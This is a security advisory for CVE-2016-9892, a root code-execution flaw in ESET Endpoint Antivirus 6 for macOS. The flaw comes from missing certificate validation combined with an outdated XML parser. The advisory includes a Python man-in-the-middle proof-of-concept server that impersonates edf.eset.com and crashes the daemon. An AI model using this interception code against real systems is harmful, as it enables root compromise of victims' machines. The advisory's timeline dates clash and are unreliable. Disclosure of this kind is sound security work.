CVE-2016-9892 - Remote Code Execution as Root via ESET Endpoint Antivirus 6 --------------------------------------------------------------------------- Summary ======= Name: Remote Code Execution as Root via ESET Endpoint Antivirus 6 CVE: CVE-2016-9892 Discoverers: Jason Geffner and Jan Bee Vendor: ESET Product: ESET Endpoint Antivirus 6 for macOS Risk: Critical Discovery Date: 2016-11-03 Publication Data: 2017-02-27 Fixed Version: 6.4.168.0 Introduction ============ Per ESET's online material, "ESET Endpoint Antivirus for OS X delivers award- winning cross-platform protection for multi-platform environments. It protects against malware and spyware and shields end users from fake websites phishing for sensitive information such as usernames, passwords or credit card details. Unauthorized devices can be blocked from the system entirely. The solution's highly intuitive interface allows for quick navigation." Vulnerable versions of ESET Endpoint Antivirus 6 are statically linked with an outdated XML parsing library and do not perform proper server authentication, allowing for remote unauthenticated attackers to perform arbitrary code execution as root on vulnerable clients. Vulnerability ============= The esets_daemon service, which runs as root, is statically linked with an outdated version of the POCO XML parser library (https://pocoproject.org/) -- version 1.4.6p1 from 2013-03-06. This version of POCO is based on Expat (http://expat.sourceforge.net/) version 2.0.1 from 2007-06-05, which has a publicly known XML parsing vulnerability (CVE-2016-0718) that allows for arbitrary code execution via malformed XML content. When ESET Endpoint Antivirus tries to activate its license, esets_daemon sends a request to https://edf.eset.com/edf. The esets_daemon service does not validate the web server's certificate, so a man-in-the-middle can intercept the request and respond using a self-signed HTTPS certificate. The esets_daemon service parses the response as an XML document, thereby allowing the attacker to supply malformed content and exploit CVE-2016-0718 to achieve arbitrary code execution as root. Proof of Concept ================ Extract overflow.xml from https://bugzilla.suse.com/attachment.cgi?id=676490 (ZIP file containing a public proof-of-concept for CVE-2016-0718) and run the following Python program: ________________________________________________________________________________ import BaseHTTPServer, SimpleHTTPServer, ssl, subprocess class XmlHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self): with open("overflow.xml") as f: xml = f.read() self.send_response(200) self.send_header("Content-Type", "text/xml") self.send_header("Content-Length", len(xml)) self.end_headers() self.wfile.write(xml) def do_CONNECT(self): self.wfile.write("HTTP/1.1 200 Connection Established\r\n") self.end_headers() self.connection = ssl.wrap_socket( self.connection, certfile="/tmp/xml.crt", keyfile="/tmp/xml.key", server_side=True) self.rfile = self.connection.makefile("rb", self.rbufsize) self.wfile = self.connection.makefile("wb", self.wbufsize) self.close_connection = 0 subprocess.call("openssl req -newkey rsa:2048 -x509 -nodes -subj " + "/CN=edf.eset.com -out /tmp/xml.crt -keyout /tmp/xml.key", shell=True) BaseHTTPServer.HTTPServer(("localhost", 4443), XmlHandler).serve_forever() ________________________________________________________________________________ Next, open the ESET Endpoint Antivirus UI, choose "Setup --> Enter application preferences...", and enable a local proxy server for localhost:4443 (this proxy configuration is used to simulate a man-in-the-middle attack; a real-world attack would not require a victim to enable a proxy server). Next, in the ESET Endpoint Antivirus UI, choose "Help --> Activate Product", enter any License Key value you like (such as 0000-0000-0000-0000-0000), and press "Activate". The esets_daemon process will immediately crash (the public PoC overflow.xml file used above just demonstrates that the vulnerability exists; it does not perform actual code execution). You can confirm this by running /Applications/Utilities/Console.app/Contents/MacOS/Console and seeing that esets_daemon crashed. Mitigation ========== ESET patched this vulnerability in ESET Endpoint Antivirus version 6.4.168.0. >From the product's change log on https://www.eset.com/us/business/endpoint-security/mac-antivirus/: Version 6.4.168.0 - Added: Product verifies ESET SSL certificate on all supported OS X/macOS - Added: Upgraded POCO parsing library to the latest build Discoverers =========== This vulnerability was discovered and reported to ESET by Jason Geffner and Jan Bee of the Google Security Team. Timeline ======== 2016-11-03 - Vulnerability discovered 2016-11-03 - Vulnerability reported to ESET Security Team 2016-11-10 - Phone call between Google and ESET to discuss vulnerability 2016-02-08 - ESET provided Google with updated build 2016-02-21 - Google confirmed vulnerability remediated 2016-02-21 - ESET publicly released version 6.4.168.0 2016-02-27 - Public disclosure